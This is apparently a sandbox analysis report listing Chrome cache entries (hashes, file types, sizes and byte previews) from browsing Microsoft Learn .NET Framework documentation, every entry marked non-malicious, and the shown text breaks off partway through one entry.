Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
